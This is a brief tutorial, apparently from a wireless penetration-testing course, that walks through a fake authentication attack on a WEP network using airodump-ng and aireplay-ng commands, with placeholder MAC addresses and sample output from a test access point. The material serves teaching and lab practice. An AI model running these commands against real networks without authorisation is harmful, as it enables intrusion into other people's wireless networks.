

# 6. Fake Authentication Attack

## Why do we the fake Auth?

- APs can only communicate with connected Clients
- If we aren't connected, we even cant start the attack
- therefore we need the Fake Auth Attack

## Scan networks

```
airodump-ng wlan0
```

## Get desired BSSID

from Network you want to attack

## Collect data packages

```
airodump-ng --bssid 00:00:00:00:00:00 --channel 13 --write arpreplay wlan0
```

## Associate with the desired Network

```
aireplay-ng --fakeauth 0 -a 00:00:00:00:00:00 -h 11:11:11:11:11:11 wlan0
```

(the Zeros stand for network MAC Address and the ones for your Adapters MAC Address

After running this command, you should get something like OPN under the category AUTH:

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BSSID	PWR	RXQ	Beacons	#Data, #/s		CH	MB	ENC	CIPHER	AUTH	ESSID
64:16:F0:EC:7B:F3	-35	100	2376	0	0	6	270	WEP	WEP	OPN	Test_AP
BSSID	STATION			PWR	Rate	Lost	Frames	Probe			
64:16:F0:EC:7B:F3	48:5D:60:2A:45:25	0	0	-	1	0	4				

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